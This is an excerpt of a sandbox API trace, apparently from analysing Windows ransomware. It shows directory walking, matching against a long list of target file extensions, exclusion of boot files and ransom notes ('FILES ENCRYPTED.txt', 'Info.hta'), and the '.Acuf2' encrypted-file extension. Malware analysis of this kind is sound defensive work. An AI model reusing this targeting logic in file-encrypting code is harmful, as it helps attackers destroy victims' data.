	[0258.356] lstrcmpiW (lpString1=".djvu", lpString2="g.png") returned -1
	[0258.356] lstrlenW (lpString=".dng") returned 4
	[0258.356] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".doc") returned 4
	[0258.356] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".docm") returned 5
	[0258.356] lstrcmpiW (lpString1=".docm", lpString2="g.png") returned -1
	[0258.357] lstrlenW (lpString=".docx") returned 5
	[0258.357] lstrcmpiW (lpString1=".docx", lpString2="g.png") returned -1
	[0258.357] lstrlenW (lpString=".dot") returned 4
	[0258.357] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1
	[0258.357] lstrlenW (lpString=".dotm") returned 5
	[0258.357] lstrcmpiW (lpString1=".dotm", lpString2="g.png") returned -1
	[0258.357] lstrlenW (lpString=".dotx") returned 5
	[0258.357] lstrcmpiW (lpString1=".dotx", lpString2="g.png") returned -1
	[0258.357] lstrlenW (lpString=".dpx") returned 4
	[0258.357] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1
	[0258.357] lstrlenW (lpString=".dqy") returned 4
	[0258.357] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1
	[0258.357] lstrlenW (lpString=".dsn") returned 4
	[0258.357] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1
	[0258.357] lstrlenW (lpString=".dt") returned 3
	[0258.357] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1
	[0258.357] lstrlenW (lpString=".dtd") returned 4
	[0258.357] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1
	[0258.357] lstrlenW (lpString=".dwg") returned 4
	[0258.357] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1
	[0258.357] lstrlenW (lpString=".dwt") returned 4
	[0258.357] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1
	[0258.357] lstrlenW (lpString=".dx") returned 3
	[0258.357] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1
	[0258.357] lstrlenW (lpString=".dxf") returned 4
	[0258.357] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1
	[0258.357] lstrlenW (lpString=".edml") returned 5
	[0258.357] lstrcmpiW (lpString1=".edml", lpString2="g.png") returned -1
	[0258.357] lstrlenW (lpString=".efd") returned 4
	[0258.357] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1
	[0258.357] lstrlenW (lpString=".elf") returned 4
	[0258.357] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1
	[0258.357] lstrlenW (lpString=".emf") returned 4
	[0258.358] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".emz") returned 4
	[0258.358] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".epf") returned 4
	[0258.358] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".eps") returned 4
	[0258.358] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".epsf") returned 5
	[0258.358] lstrcmpiW (lpString1=".epsf", lpString2="g.png") returned -1
	[0258.358] lstrlenW (lpString=".epsp") returned 5
	[0258.358] lstrcmpiW (lpString1=".epsp", lpString2="g.png") returned -1
	[0258.358] lstrlenW (lpString=".erf") returned 4
	[0258.358] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".exr") returned 4
	[0258.358] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".f4v") returned 4
	[0258.358] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".fido") returned 5
	[0258.358] lstrcmpiW (lpString1=".fido", lpString2="g.png") returned -1
	[0258.358] lstrlenW (lpString=".flm") returned 4
	[0258.358] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".flv") returned 4
	[0258.358] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".frm") returned 4
	[0258.358] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".fxg") returned 4
	[0258.358] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".geo") returned 4
	[0258.358] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".gif") returned 4
	[0258.358] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1
	[0258.358] lstrlenW (lpString=".grs") returned 4
	[0258.358] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".gz") returned 3
	[0258.359] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1
	[0258.359] lstrlenW (lpString=".h") returned 2
	[0258.359] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1
	[0258.359] lstrlenW (lpString=".hdr") returned 4
	[0258.359] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".hpp") returned 4
	[0258.359] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".hta") returned 4
	[0258.359] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".htc") returned 4
	[0258.359] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".htm") returned 4
	[0258.359] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".html") returned 5
	[0258.359] lstrcmpiW (lpString1=".html", lpString2="g.png") returned -1
	[0258.359] lstrlenW (lpString=".icb") returned 4
	[0258.359] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".ics") returned 4
	[0258.359] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".iff") returned 4
	[0258.359] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".inc") returned 4
	[0258.359] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".indd") returned 5
	[0258.359] lstrcmpiW (lpString1=".indd", lpString2="g.png") returned -1
	[0258.359] lstrlenW (lpString=".ini") returned 4
	[0258.359] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".iqy") returned 4
	[0258.359] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".j2c") returned 4
	[0258.359] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1
	[0258.359] lstrlenW (lpString=".j2k") returned 4
	[0258.359] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".java") returned 5
	[0258.360] lstrcmpiW (lpString1=".java", lpString2="g.png") returned -1
	[0258.360] lstrlenW (lpString=".jp2") returned 4
	[0258.360] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".jpc") returned 4
	[0258.360] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".jpe") returned 4
	[0258.360] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".jpeg") returned 5
	[0258.360] lstrcmpiW (lpString1=".jpeg", lpString2="g.png") returned -1
	[0258.360] lstrlenW (lpString=".jpf") returned 4
	[0258.360] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".jpg") returned 4
	[0258.360] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".jpx") returned 4
	[0258.360] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".js") returned 3
	[0258.360] lstrcmpiW (lpString1=".js", lpString2="png") returned -1
	[0258.360] lstrlenW (lpString=".jsf") returned 4
	[0258.360] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".json") returned 5
	[0258.360] lstrcmpiW (lpString1=".json", lpString2="g.png") returned -1
	[0258.360] lstrlenW (lpString=".jsp") returned 4
	[0258.360] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".kdc") returned 4
	[0258.360] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".kmz") returned 4
	[0258.360] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".kwm") returned 4
	[0258.360] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1
	[0258.360] lstrlenW (lpString=".lasso") returned 6
	[0258.360] lstrcmpiW (lpString1=".lasso", lpString2="ag.png") returned -1
	[0258.360] lstrlenW (lpString=".lbi") returned 4
	[0258.361] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".lgf") returned 4
	[0258.361] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".lgp") returned 4
	[0258.361] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".log") returned 4
	[0258.361] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".m1v") returned 4
	[0258.361] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".m4a") returned 4
	[0258.361] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".m4v") returned 4
	[0258.361] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".max") returned 4
	[0258.361] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".md") returned 3
	[0258.361] lstrcmpiW (lpString1=".md", lpString2="png") returned -1
	[0258.361] lstrlenW (lpString=".mda") returned 4
	[0258.361] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".mdb") returned 4
	[0258.361] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".mde") returned 4
	[0258.361] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".mdf") returned 4
	[0258.361] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".mdw") returned 4
	[0258.361] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".mef") returned 4
	[0258.361] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".mft") returned 4
	[0258.361] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".mfw") returned 4
	[0258.361] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1
	[0258.361] lstrlenW (lpString=".mht") returned 4
	[0258.362] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".mhtml") returned 6
	[0258.362] lstrcmpiW (lpString1=".mhtml", lpString2="ag.png") returned -1
	[0258.362] lstrlenW (lpString=".mka") returned 4
	[0258.362] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".mkidx") returned 6
	[0258.362] lstrcmpiW (lpString1=".mkidx", lpString2="ag.png") returned -1
	[0258.362] lstrlenW (lpString=".mkv") returned 4
	[0258.362] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".mos") returned 4
	[0258.362] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".mov") returned 4
	[0258.362] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".mp3") returned 4
	[0258.362] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".mp4") returned 4
	[0258.362] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".mpeg") returned 5
	[0258.362] lstrcmpiW (lpString1=".mpeg", lpString2="g.png") returned -1
	[0258.362] lstrlenW (lpString=".mpg") returned 4
	[0258.362] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".mpv") returned 4
	[0258.362] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".mrw") returned 4
	[0258.362] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".msg") returned 4
	[0258.362] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".mxl") returned 4
	[0258.362] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".myd") returned 4
	[0258.362] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1
	[0258.362] lstrlenW (lpString=".myi") returned 4
	[0258.362] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".nef") returned 4
	[0258.363] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".nrw") returned 4
	[0258.363] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".obj") returned 4
	[0258.363] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".odb") returned 4
	[0258.363] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".odc") returned 4
	[0258.363] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".odm") returned 4
	[0258.363] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".odp") returned 4
	[0258.363] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".ods") returned 4
	[0258.363] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".oft") returned 4
	[0258.363] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".one") returned 4
	[0258.363] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".onepkg") returned 7
	[0258.363] lstrcmpiW (lpString1=".onepkg", lpString2="rag.png") returned -1
	[0258.363] lstrlenW (lpString=".onetoc2") returned 8
	[0258.363] lstrcmpiW (lpString1=".onetoc2", lpString2="drag.png") returned -1
	[0258.363] lstrlenW (lpString=".opt") returned 4
	[0258.363] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".oqy") returned 4
	[0258.363] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".orf") returned 4
	[0258.363] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".p12") returned 4
	[0258.363] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1
	[0258.363] lstrlenW (lpString=".p7b") returned 4
	[0258.364] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".p7c") returned 4
	[0258.364] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pam") returned 4
	[0258.364] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pbm") returned 4
	[0258.364] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pct") returned 4
	[0258.364] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pcx") returned 4
	[0258.364] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pdd") returned 4
	[0258.364] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pdf") returned 4
	[0258.364] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pdp") returned 4
	[0258.364] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pef") returned 4
	[0258.364] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pem") returned 4
	[0258.364] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pff") returned 4
	[0258.364] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pfm") returned 4
	[0258.364] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pfx") returned 4
	[0258.364] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".pgm") returned 4
	[0258.364] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".php") returned 4
	[0258.364] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1
	[0258.364] lstrlenW (lpString=".php3") returned 5
	[0258.364] lstrcmpiW (lpString1=".php3", lpString2="g.png") returned -1
	[0258.364] lstrlenW (lpString=".php4") returned 5
	[0258.365] lstrcmpiW (lpString1=".php4", lpString2="g.png") returned -1
	[0258.365] lstrlenW (lpString=".php5") returned 5
	[0258.365] lstrcmpiW (lpString1=".php5", lpString2="g.png") returned -1
	[0258.365] lstrlenW (lpString=".phtml") returned 6
	[0258.365] lstrcmpiW (lpString1=".phtml", lpString2="ag.png") returned -1
	[0258.365] lstrlenW (lpString=".pict") returned 5
	[0258.365] lstrcmpiW (lpString1=".pict", lpString2="g.png") returned -1
	[0258.365] lstrlenW (lpString=".pl") returned 3
	[0258.365] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1
	[0258.365] lstrlenW (lpString=".pls") returned 4
	[0258.365] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1
	[0258.365] lstrlenW (lpString=".pm") returned 3
	[0258.365] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1
	[0258.365] lstrlenW (lpString=".png") returned 4
	[0258.365] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0
	[0258.365] lstrlenW (lpString="drag.png") returned 8
	[0258.365] lstrlenW (lpString=".Acuf2") returned 6
	[0258.365] lstrcmpiW (lpString1=".Acuf2", lpString2="ag.png") returned -1
	[0258.365] lstrlenW (lpString="drag.png") returned 8
	[0258.365] lstrcmpiW (lpString1="boot.ini", lpString2="drag.png") returned -1
	[0258.365] lstrcmpiW (lpString1="bootfont.bin", lpString2="drag.png") returned -1
	[0258.365] lstrcmpiW (lpString1="ntldr", lpString2="drag.png") returned 1
	[0258.365] lstrcmpiW (lpString1="ntdetect.com", lpString2="drag.png") returned 1
	[0258.365] lstrcmpiW (lpString1="io.sys", lpString2="drag.png") returned 1
	[0258.365] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="drag.png") returned 1
	[0258.365] lstrcmpiW (lpString1="Info.hta", lpString2="drag.png") returned 1
	[0258.365] lstrcmpiW (lpString1="swpesp.exe", lpString2="drag.png") returned 1
	[0258.365] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 65
	[0258.365] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0258.366] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned 62
	[0258.366] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned 1
	[0258.366] lstrlenW (lpString="en-US") returned 5
	[0258.366] lstrcmpiW (lpString1="C:\\Windows", lpString2="en-US") returned -1
	[0258.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0258.366] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US") returned 62
	[0258.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2090
	[0258.366] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.366] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1
	[0258.366] lstrlenW (lpString="calendar.html") returned 13
	[0258.366] lstrlenW (lpString=".1cd") returned 4
	[0258.366] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0258.366] lstrlenW (lpString=".3ds") returned 4
	[0258.366] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0258.366] lstrlenW (lpString=".3fr") returned 4
	[0258.366] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0258.366] lstrlenW (lpString=".3g2") returned 4
	[0258.366] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0258.366] lstrlenW (lpString=".3gp") returned 4
	[0258.366] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0258.366] lstrlenW (lpString=".7z") returned 3
	[0258.366] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0258.366] lstrlenW (lpString=".accda") returned 6
	[0258.366] lstrcmpiW (lpString1=".accda", lpString2="r.html") returned -1
	[0258.366] lstrlenW (lpString=".accdb") returned 6
	[0258.366] lstrcmpiW (lpString1=".accdb", lpString2="r.html") returned -1
	[0258.366] lstrlenW (lpString=".accdc") returned 6
	[0258.367] lstrcmpiW (lpString1=".accdc", lpString2="r.html") returned -1
	[0258.367] lstrlenW (lpString=".accde") returned 6
	[0258.367] lstrcmpiW (lpString1=".accde", lpString2="r.html") returned -1
	[0258.367] lstrlenW (lpString=".accdt") returned 6
	[0258.367] lstrcmpiW (lpString1=".accdt", lpString2="r.html") returned -1
	[0258.367] lstrlenW (lpString=".accdw") returned 6
	[0258.367] lstrcmpiW (lpString1=".accdw", lpString2="r.html") returned -1
	[0258.367] lstrlenW (lpString=".adb") returned 4
	[0258.367] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0258.367] lstrlenW (lpString=".adp") returned 4
	[0258.367] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0258.367] lstrlenW (lpString=".ai") returned 3
	[0258.367] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0258.367] lstrlenW (lpString=".ai3") returned 4
	[0258.367] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0258.367] lstrlenW (lpString=".ai4") returned 4
	[0258.367] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0258.367] lstrlenW (lpString=".ai5") returned 4
	[0266.696] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.696] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcad7040, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x105e7220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
	[0266.696] lstrlenW (lpString="state.rsm") returned 9
	[0266.696] lstrlenW (lpString=".1cd") returned 4

Thread:
	id = 101
	os_tid = 0x68c

	[0249.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3a90088
	[0249.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3aa0090
	[0249.028] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e30
	[0249.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x521840
	[0249.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4e18
	[0249.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3e40020
	[0249.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4ae8
	[0249.029] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4ae8, Size=0x20) returned 0x51b1a8
	[0249.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f4ae8
	[0249.029] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f4ae8, Size=0x20) returned 0x51b180
	[0249.029] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x755c0000
	[0249.029] GetProcAddress (hModule=0x755c0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x755ed650
	[0249.029] Wow64DisableWow64FsRedirection (in: OldValue=0x338ff58 | out: OldValue=0x338ff58*=0x0) returned 1
	[0249.029] lstrlenW (lpString="kernel32.dll") returned 12
	[0249.029] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b1a8 | out: hHeap=0x4a0000) returned 1
	[0249.029] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0249.029] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51b180 | out: hHeap=0x4a0000) returned 1
	[0249.030] Sleep (dwMilliseconds=0x64) 
	[0249.266] Sleep (dwMilliseconds=0x64) 
	[0249.511] lstrcmpiW (lpString1=".ttf", lpString2=".Acuf2") returned 1
	[0249.511] lstrlenW (lpString="jpn_boot.ttf") returned 12
	[0249.511] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294
	[0249.826] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=1984228) returned 1
	[0249.826] CloseHandle (hObject=0x294) returned 1
